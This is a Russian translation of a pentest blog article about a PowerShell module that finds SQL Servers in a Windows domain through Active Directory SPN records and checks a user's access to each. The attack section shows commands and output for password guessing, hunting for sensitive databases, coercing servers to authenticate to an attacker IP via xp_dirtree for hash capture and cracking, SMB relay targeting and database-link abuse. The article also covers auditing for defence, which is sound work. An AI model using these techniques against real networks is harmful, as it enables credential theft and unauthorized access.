30.08.2014

Как обнаружить и атаковать SQL-сервер в домене без использования сканера

image

В этой статье я продемонстрирую скрипт для PowerShell, использующий SPN-записи (Service Principal Name, Первичное имя сервиса), взятые из Active Directory, для обнаружения и атаки на SQL-сервера, находящиеся внутри Windows-доменов, без сканирования.

Автор: Скот Сазерленд (Scott Sutherland)

В этой статье я продемонстрирую скрипт для PowerShell, использующий SPN-записи (Service Principal Name, Первичное имя сервиса), взятые из Active Directory, для обнаружения и атаки на SQL-сервера, находящиеся внутри Windows-доменов, без сканирования. Первоначально скрипт был написан для повышения привилегий и обнаружения критических данных во время пентестов. Кроме того, я расскажу о том, как использовать этот скрипт не только для атаки, но и для защиты.

Введение

Использование техник сканирования для обнаружения SQL-серверов может быть полезно в тех случаях, когда у нас нет информации об учетных записях, либо мы охотимся за серверами, находящимися вне домена. Однако эта процедура может быть весьма затратна по времени и, к тому же, легко обнаружена. Кроме того, некоторые SQL-сервера вовсе могут ускользнуть от нас из-за неизвестных подсетей, использования нестандартных портов и ограничений в домене, которые накладываются на пересылку сообщений. После того как я столкнулся с SPN-записями, то сразу понял, что их можно использовать для быстрого обнаружения SQL-серверов в домене.

В документации от компании Microsoft утверждается следующее: «первичное имя сервиса – имя, по которому клиент однозначно опознает инстанс службы». Сия фраза означает, что каждая служба (включая сервисы SQL-серверов), установленная в домене, регистрируется в Active Directory. В результате этого, каждый пользователь домена может получить полный список SQL-серверов, установленных в домене, без использования сканера. Кроме того, SPN-записи содержат корректные имена инстансов и номера портов, что значительно экономит время. Более подробно об SPN я рассказываю в другой своей статье: Faster Domain Escalation Using LDAP.

Однако, даже зная о том, что в Active Directory присутствует информация об SPN, я быстро понял, что нужно более автоматизированное решение, которое весьма пригодится во время пентестов.

Автоматизация процесса при помощи PowerShell

После некоторых экспериментов я подумал, что неплохо было бы смастерить скрипт, который автоматически получал список SQL-серверов из ADS (Active Directory Services) через LDAP и автоматически определял уровень доступа к каждому серверу у текущего пользователя домена. Для решения этой задачи в PowerShell есть все необходимые возможности. К примеру, стандартная установка PowerShell v.3 включает поддержку для LDAP-запросов, запросов к SQL-серверу, преобразование IP-адресов, ICMP-запросы и много других полезностей. Дополнительный плюс в том, что для использования всех вышеупомянутых фитч не требуется установка дополнительный библиотек, модулей и командлетов (cmdlets).

После некоторых экспериментов на свет появился модуль "Get-SQLServerAccess.psm1" для PowerShell. Я попытался добавить в него как можно больше различных настроек, чтобы модуль был полезен как при атаках, так и для защиты систем (к примеру, можно быстро найти привилегии с высоким уровнем доступа, которые потенциально могут быть использованы злоумышленниками). Кроме того, скрипт удобен для определения местонахождения хранилищ информации.

Если вы не знакомы с установкой модулей в PowerShell, то далее я проведу небольшой ликбез по этой теме.

Установка модуля

Скрипт можно загрузить с моего аккаунта на github. Через некоторое время я также планирую добавить его в проект Posh-SecMod. Требуется наличие PowerShell v3. Модуль можно либо установить вручную, положив файл Get-SQLServerAccess.psm1 в одну из следующих директорий:

%USERPROFILE%\Documents\WindowsPowerShell\Modules\Get-SQLServerAccess\
%WINDIR%\System32\WindowsPowerShell\v1.0\Modules\Get-SQLServerAccess\

Либо импортировать при помощи следующей команды:

Import-Module c:\temp\Get-SQLServerAccess.psm1

Рисунок 1: Процедура импорта модуля

После импорта проверьте, что модуль установился успешно, используя следующую команду (или просто запустите модуль):

Get-Command Get-SQLServerAcess

Рисунок 2: Проверка работоспособности модуля

Использование модуля в защитных целях

Администраторы баз данных часто наделяют всех пользователей домена правами доступа, которые позволяют залогиниться на SQL-сервера. Такое происходит из-за того, что администраторы домена не всегда уверены, каким группам на самом деле нужен доступ. Кроме того, старые версии SQL-серверов по умолчанию позволяют логиниться всем без исключения пользователям домена. Причина тому – проблема с наследованием привилегий, о которой я рассказывал предыдущей статье. Подобные ошибки в настройках позволяют пользователям получать неавторизированный доступ, и наша задача – быстро обнаружить и исправить эти проблемы.

По умолчанию скрипт Get-SQLServerAccess выводит список SQL-серверов, на которые может залогиниться текущий пользователь домена. Кроме того, выводятся имена тех инстансов, к которым у пользователя есть привилегии сисадмина (sysadmin access), и если учетная запись, используемая для запуска службы SQL-сервера, - Domain Admin. Ниже показано несколько примеров.

  1. Получаем список SQL-серверов из ADS через LDAP запрос и пытаемся залогиниться к каждому инстансу, используя текущую учетную запись. По умолчанию выводятся следующие сведения.
  2. PS C:\Get-SQLServerAccess
  3. [*] ----------------------------------------------------------------------
  4. [*] Start Time: 04/01/2014 10:00:00
  5. [*] Domain: mydomain.com
  6. [*] DC: dc1.mydomain.com
  7. [*] Getting list of SQL Server instances from DC as mydomain\myuser...
  8. [*] 5 SQL Server instances found in LDAP.
  9. [*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
  10. [*] ----------------------------------------------------------------------
  11. [-] Failed - server1.mydomain.com is not responding to pings
  12. [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
  13. [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
  14. [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
  15. [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
  16. [*] ----------------------------------------------------------------------
  17. [*] 3 of 5 SQL Server instances could be accessed.
  18. [*] End Time: 04/01/2014 10:02:00
  19. [*] Total Time: 00:02:00
  20. [*] ----------------------------------------------------------------------
  21. Получаем список SQL-серверов из ADS через LDAP запрос и пытаемся залогиниться к каждому инстансу, используя текущую учетную запись. В этом примере информация сохраняется в CSV-файл.
  22. PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
  23. [*] ----------------------------------------------------------------------
  24. [*] Start Time: 04/01/2014 10:00:00
  25. [*] Domain: mydomain.com
  26. [*] DC: dc1.mydomain.com
  27. [*] Getting list of SQL Server instances from DC as mydomain\myuser...
  28. [*] 5 SQL Server instances found in LDAP.
  29. [*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
  30. [*] ----------------------------------------------------------------------
  31. [-] Failed - server1.mydomain.com is not responding to pings
  32. [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
  33. [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
  34. [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
  35. [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
  36. [*] ----------------------------------------------------------------------
  37. [*] 3 of 5 SQL Server instances could be accessed.
  38. [*] End Time: 04/01/2014 10:02:00
  39. [*] Total Time: 00:02:00
  40. [*] ----------------------------------------------------------------------

Ниже показан скриншот CSV-файла:

Рисунок 3: Содержимое CSV-файла с перечнем потенциально уязвимых серверов

В примере выше показаны результаты из моей лаборатории, но в боевых условиях часто в подобных списках находятся сотни серверов. Еще рекомендую запустить скрипт под учетной записью domain computer account, что можно сделать, если выполнить команду «psexec.exe –s –i cmd.exe», а потом запустить скрипт, как показано выше. Вы удивитесь, насколько много серверов, к которым есть доступ из-под этих учетных записей.

Использование скрипта для атаки

Существует много различных техник для атаки на SQL-сервера. Я покажу, как, используя скрипт, можно реализовать некоторые из них.

  1. Поиск слабых паролей – до сих пор эффективная техника. Часто при работе по заказу клиентов находится несколько SQL-серверов, где используются слабые пароли. Часто встречающиеся логины: sa, test, dba, user, и sysadmin. Часто встречающиеся пароли: [the username], [the company], password, Password1, и SQL. Существует множество утилит для подбора паролей к базам данных, но я добавил дополнительную опцию, при помощи которой можно использовать определенный логин для аутентификации по списку SQL-серверов, найденных в ADS. Ниже показан пример, который может быть полезен для нахождения логинов, используемых на нескольких серверах.

2. PS C:\Get-SQLServerAccess -sqluser test -sqlpass test
3. [*] ----------------------------------------------------------------------
4. [*] Start Time: 04/01/2014 10:00:00
5. [*] Domain: mydomain.com
6. [*] DC: dc1.mydomain.com
7. [*] Getting list of SQL Server instances from DC as mydomain\myuser...
8. [*] 5 SQL Server instances found in LDAP.
9. [*] Attempting to login into 5 SQL Server instances as test...
10. [*] ----------------------------------------------------------------------
11. [-] Failed - server1.mydomain.com is not responding to pings
12. [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication failed
13. [+] Failed - server3.mydomain.com,1433 (192.168.1.103) is up, but authentication failed
14. [+] Failed - server3.mydomain.com\SQLEXPRESS (192.168.1.103) is up, but authentication failed
15. [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: No - SvcIsDA: Yes
16. [*] ----------------------------------------------------------------------
17. [*] 1 of 5 SQL Server instances could be accessed.
18. [*] End Time: 04/01/2014 10:02:00
19. [*] Total Time: 00:02:00
20. [*] ----------------------------------------------------------------------

  1. Поиск конфиденциальных данных. Используя оператор «-query», возможно получить всю необходимую информацию на всех доступных инстансах. Ниже показан простой пример получения списка баз данных, доступных для пользователя на каждом сервере.

22. PS C:\Get-SQLServerAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1"
23. [*] ----------------------------------------------------------------------
24. [*] Start Time: 04/01/2014 10:00:00
25. [*] Domain: mydomain.com
26. [*] DC: dc1.mydomain.com
27. [*] Getting list of SQL Server instances from DC as mydomain\myuser...
28. [*] 5 SQL Server instances found in LDAP.
29. [*] Attempting to login into 5 SQL Server instances as test...
30. [*] ----------------------------------------------------------------------
31. [-] Failed - server1.mydomain.com is not responding to pings
32. [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication failed
33. [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103)-Sysadmin:No - SvcIsDA:No
34. [+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
35. [+] Query output:
36.
37. Databases
38. ---------
39. master
40. tempdb
41. msdb
42.
43. [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS(192.168.1.103)-Sysadmin:No-SvcIsDA:No
44. [+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
45. [+] Query output:
46.
47. Databases
48. ---------
49. master
50. tempdb
51. msdb
52.
53. [+] SUCCESS! - server4.mydomain.com\AppData(192.168.1.104)-Sysadmin: Yes-SvcIsDA: Yes
54. [+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
55. [+] Query output:
56.
57. Databases
58. ---------
59. master
60. tempdb
61. msdb
62. PCIDataDB
63. ApplicationDB
64. CompanySecrects
65.
66. [*] ----------------------------------------------------------------------
67. [*] 3 of 5 SQL Server instances could be accessed.
68. [*] End Time: 04/01/2014 10:02:00
69. [*] Total Time: 00:02:00
70. [*] ----------------------------------------------------------------------

  1. Получение и взлом хешей сервисных учетных записей. Подобная техника также вполне часто используется во время пентестов. Во многих случаях у сервисных учетных записей есть привилегии администратора для всех SQL-серверов в домене, а иногда даже привилегии администратора домена (более подробно о получение хешей к этим учетных записям рассказано в другой моей статье). Однако я покажу вам пример команды, которая принуждает доступные SQL-сервера к аутентификации к IP-адресу злоумышленника (192.168.1.50) при помощи оператора «-query».

72. PS C:\ Get-SQLServerAccess -query "exec master..xp_dirtree '\\192.168.1.50\file'"
73. [*] ----------------------------------------------------------------------
74. [*] Start Time: 04/01/2014 10:00:00
75. [*] Domain: mydomain.com
76. [*] DC: dc1.mydomain.com
77. [*] Getting list of SQL Server instances from DC as mydomain\myuser...
78. [*] 5 SQL Server instances found in LDAP.
79. [*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
80. [*] ----------------------------------------------------------------------
81. [-] Failed - server1.mydomain.com is not responding to pings
82. [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
83. [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
84. [+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
85. [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
86. [+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
87. [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
88. [+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
89. [*] ----------------------------------------------------------------------
90. [*] 3 of 5 SQL Server instances could be accessed.
91. [*] End Time: 04/01/2014 10:02:00
92. [*] Total Time: 00:02:00
93. [*] ----------------------------------------------------------------------

Существует прекрасная утилита Responder, при помощи которой можно собрать хеши паролей, отсылаемые со стороны каждого SQL-сервера. Полученные хеши можно взломать при помощи утилит наподобие OCLHashcat.

  1. Поиск общих сервисных аккаунтов для осуществления SMB relay атак. Здесь трюк заключается в том, чтобы найти SQL-сервера, использующие один и тот же сервисный аккаунт. Для этого я добавил в скрипт несколько операторов, например, «-showsum» и «-showstatus». Перечень сервисных учетных записей также можно выгрузить в csv файл. Как только подобные аккаунты обнаружены, используйте технику, описанную мной в одной из предыдущих статей для того, чтобы получить доступ к SQL-серверу на уровне операционной системы. Ниже показан пример по идентификации серверов, использующих общую сервисную учетную запись:

95. PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
96. [*] ----------------------------------------------------------------------
97. [*] Start Time: 04/01/2014 10:00:00
98. [*] Domain: mydomain.com
99. [*] DC: dc1.mydomain.com
100. [*] Getting list of SQL Server instances from DC as mydomain\myuser...
101. [*] 5 SQL Server instances found in LDAP.
102. [*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
103. [*] ----------------------------------------------------------------------
104. [-] Failed - server1.mydomain.com is not responding to pings
105. [+] SUCCESS! - server2.mydomain.com\AppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
106. [+] SUCCESS! - server3.mydomain.com\AppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No
107. [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
108. [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
109. [*] ----------------------------------------------------------------------
110. [*] 3 of 5 SQL Server instances could be accessed.
111. [*] End Time: 04/01/2014 10:02:00
112. [*] Total Time: 00:02:00
113. [*] ----------------------------------------------------------------------

На скриншоте ниже показаны три сервера, использующих общую учетную запись:

Рисунок 4: Перечень SQL-серверов, использующих одну и ту же сервисную учетную запись

  1. Сбор связей баз данных для запуска запросов с привилегиями администратора. Антти Рантасаари (Antti Rantasaari) написал прекрасную статью о связях баз данных (статья называется How to Hack Database Links in SQL Server). Некоторое время назад мы также написали модуль для Metasploit, реализующий подобную атаку. Посчитать количество связей баз данных можно вручную, однако намного проще это сделать при помощи скрипта, используя операторы «-showsum» и «-showstatus». Как и в предыдущем примере, результаты можно выгрузить в CSV.
  2. PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
  3. [*] ----------------------------------------------------------------------
  4. [*] Start Time: 04/01/2014 10:00:00
  5. [*] Domain: mydomain.com
  6. [*] DC: dc1.mydomain.com
  7. [*] Getting list of SQL Server instances from DC as mydomain\myuser...
  8. [*] 5 SQL Server instances found in LDAP.
  9. [*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
  10. [*] ----------------------------------------------------------------------
  11. [-] Failed - server1.mydomain.com is not responding to pings
  12. [+] SUCCESS! - server2.mydomain.com\AppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
  13. [+] SUCCESS! - server3.mydomain.com\AppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No
  14. [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
  15. [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
  16. [*] ----------------------------------------------------------------------
  17. [*] 3 of 5 SQL Server instances could be accessed.
  18. [*] End Time: 04/01/2014 10:02:00
  19. [*] Total Time: 00:02:00
  20. [*] ----------------------------------------------------------------------

На рисунке ниже показаны для сервера, чьи связи потенциально могут быть использованы в злонамеренных целях:

Рисунок 5: Количество связей у каждого инстанса